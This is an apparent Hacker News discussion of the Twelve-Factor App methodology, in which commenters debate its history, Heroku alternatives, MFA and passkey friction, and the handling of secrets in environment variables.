I used to solve this with the Authy desktop app, now discontinued. I firmly believe MFA shouldn’t live in your password manager (what’s the point of MFA, then?). Thoughts on MFA options?
Okay so this may sound odd but this is literally my whole life right now...
Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?
Google pushes "password" down 2 layers of their interface. If you really want to use a password to authenticate, it's not always a first class citizen.
Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo.
Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent.
You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger.
My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.
Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?
Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book.
MFA as whack-a-mole UI sucks.
Personally I hate when I use a passkey but then still get hit with an SMS second factor step. A passkey should be enough, unless I'm changing my recovery email or withdrawing a million dollars or something. Also there's still a lot of really bad UX around passkeys, both by browser/OS vendors and by individual apps, and unimplemented features like sharing.
Passkeys are the right thing but they need more work.
I totally believe that someone has gotten it this wrong, but personally I've never seen an SMS 2FA on a Passkey authentication. My most common Passkey complaint is that a service doesn't support them yet.
The worst part is: why are they sending me an SMS when I never configured that as an MFA option?
The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
We should return to physical metal keys that are unique to unlock the computer.
> painful & unsustainable MFA trends.
This very web-forum was a very big proponent of those politics a few years ago.
Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
Fly.io brings back some of that easy of deploy.
Caprover for me, but fly.io is pretty cool, reminds me of flynn.io
Especially the pricing is equally joyous.
Yep, agreed. Fly.io is the closest to Heroku that I’ve found.
Give Cloud Run a try if you haven't. It's basically serverless done right.
Azure Container Apps is very similar to Cloud Run if you can't use GCP
I've got to give credit where it is due... It really feels like Laravel Cloud picked up where Heroku left off. Or at least is trying to.
Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
I don't know. I've seen lots of "architects" conceptualizing just overly complex structures.
.env as we know is full of problems... BUT! check out varlock (https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
I think the idea to use the environment is misguided in general.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
Title should read (2011)
https://news.ycombinator.com/from?site=12factor.net
How is this only from 2025? I thought this was a thing back in 2015
Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji".
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
State is always the entire point.
I can't believe how old this is and I feel like most devs still haven't internalized this which is a shame.
Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
Unfortunately if you don't start out building the application from these principles, the tech debt piles up, and then it's hard to recover.
Pass the word!
I hired about 50 software interns and junior in the past 5 years. None had ever heard of it before I told them.
I'm debating the tradeoff for secret management in my app as well. Storing it is easy you just need encryption and it's mostly good. But delivering it is tricky. Delivery via env is simple for sure but can get leaked. The other route would be a job scoped signature, but this doesnt stop the job from printing the secret out, it only shrinks the blast radius.
But if you delete the secret after the job is done or deployment is up, it's pretty much the same result
I'm not sure where the (2025) in the title comes from, but this has been around much longer than that.
+1. I saw the 2025 suffix and fact that it was on the original domain and hoped they released a v2 to carry us through the world of Platform Engineering, Observability 2.0, Kubernetes vs Serverless, etc.
Heroku updated it in 2025.
2011 according to the earliest post on HN
> X. Dev/prod parity > Keep development, staging, and production as similar as possible
Gets interesting at the seams of software & data environments. If my preprod stack operates independently of my prod stack (due to different internal users), but preprod data stack is best tested on prod data, the seams of these two things imply there should be a separate data stack for both preprod data versus preprod-internal.
Generally pro 12-FA, but it's very service dev oriented.
I know an e-commerce company where the staging environment was completely hijacked by product managers to "stage" their data. They've even convinced management to ask IT to build a tool for migrating data from staging to production. All of this just to avoid building a proper release flow for (product-)data.
https://news.ycombinator.com/item?id=37862016
> Related:
> Ask HN: Is 12factor.net Still Relevant? - https://news.ycombinator.com/item?id=36283702 - June 2023 (6 comments)
> 12 Factor App Revisited - https://news.ycombinator.com/item?id=33164407 - Oct 2022 (7 comments)
> Twelve-factor app anno 2022 - https://news.ycombinator.com/item?id=31225921 - May 2022 (35 comments)
> The Twelve-Factor App (2011) - https://news.ycombinator.com/item?id=31198956 - April 2022 (102 comments)
> Twelve-factor app development on Google Cloud - https://news.ycombinator.com/item?id=21415488 - Nov 2019 (63 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=19947507 - May 2019 (3 comments)
> 12 Factor CLI Apps - https://news.ycombinator.com/item?id=18172689 - Oct 2018 (247 comments)
> 12 factor app configuration vs. leaking environment variables (2014) - https://news.ycombinator.com/item?id=15869436 - Dec 2017 (2 comments)
> Ask HN: Alternative to Heroku that doesn't enforce 12-factor - https://news.ycombinator.com/item?id=10628961 - Nov 2015 (1 comment)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=10288216 - Sept 2015 (3 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=9492120 - May 2015 (2 comments)
> Twelve-Factor Applications with Consul - https://news.ycombinator.com/item?id=7780249 - May 2014 (2 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=7547687 - April 2014 (1 comment)
> Building Twelve Factor Apps on Heroku - https://news.ycombinator.com/item?id=6219444 - Aug 2013 (1 comment)
> 12 Factor model for architecting SaaS applications - https://news.ycombinator.com/item?id=6060381 - July 2013 (1 comment)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=5979452 - July 2013 (1 comment)
> 12factor: Methodology for Building Software-as-a-Service Apps - https://news.ycombinator.com/item?id=4027026 - May 2012 (1 comment)
> Twelve Factors of Web Application Development - https://news.ycombinator.com/item?id=3267187 - Nov 2011 (37 comments)
I love it how this is still at thing. Good principles never die, just like good music I guess.
Still relevant.
I know that all of this is super relevant, but it's extremely aspirational, and I can pick apart pretty much every one of these factors on how it doesn't fully hold up when it comes to the reality of production applications.
Of course you can, but it's still a really great collection of good practices that lead you to a better place than if you didn't to do any of it.
I know large Fortune 500 companies with 10,000 apps that follow it pretty religiously.
Principles are by definition aspirational. The idea, I'd say, is to always have them in mind and get as close to them as possible.
Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?"
So let me ask for once: what am I missing? Why is that interesting and not trite?
If you go far enough back in time (this dates back to at least 2011), it's arguing against things like:
For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.
They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes.
The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.
edit:
I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.
https://12factor.net/backing-services
> Why is that interesting and not trite?
The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
Doctors didn't wash their hands between inspecting corpses and doing surgery.
Drivers protested against seat belts that would save their own lives.
Times change and hindsight is 20/20. Let's just say 10 years ago I worked at a company that broke all 12 factors.
I appreciate you giving those examples, I was searching for something like that, seat belts in particular were controversial to a degree that is absolutely difficult to imagine these days, I think, even having lived through it as a kid.
In older architectures you would expose services as libraries and everything ran in one UBER process… eg JBoss and ASP.. it also covered off on web server processing like cold fusion and php.
I think you gotta look back to how web servers worked before containers.
> X. Dev/prod parity Keep development, staging, and production as similar as possible
Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod.
Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone.
[palms forehead; returns to coffee + codebase]
How did you see a connection to Intuit? I believe this originated from Adam Wiggins, cofounder of Heroku - acquired by Salesforce.
While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
Note that at the bottom of a page is a "Download ePub Book" link, <https://12factor.net/12factor.epub>.
Used to follow this to a T. Love 12factor, evangelized it at a lot of companies too
I read this 6 years ago. I’m glad to see this again
I was really hoping this would be about 12-factor authentication
Oh! That's a term I have not heard in a long time!
2025?
Heroku made some updates in 2025
True, it first appeared around 2011
Imperfect but certified classic
When people ask me what my religious beliefs are, this is what I respond with.
need something better than the .env honeypot in this AI age. but idk what that might be
You can use ephemeral filesystem mounts[1]
[1]: https://forcesunseen.com/blog/stop-storing-secrets-in-enviro...
There is a GitHub repo with updates: https://github.com/twelve-factor/twelve-factor
twelfth repost
It’s always new for someone…
https://xkcd.com/1053/
Storing config in environment variables is just such an incredibly obviously awful thing to do I can't recommend that anyone listens to this advice. Maybe some of the other things are good practice... honestly I don't remember... but once I saw that I immediately noped out.
Would you get advice from an antivaxxer? Like, maybe they do have good advice but it's still a good idea to get your advice elsewhere!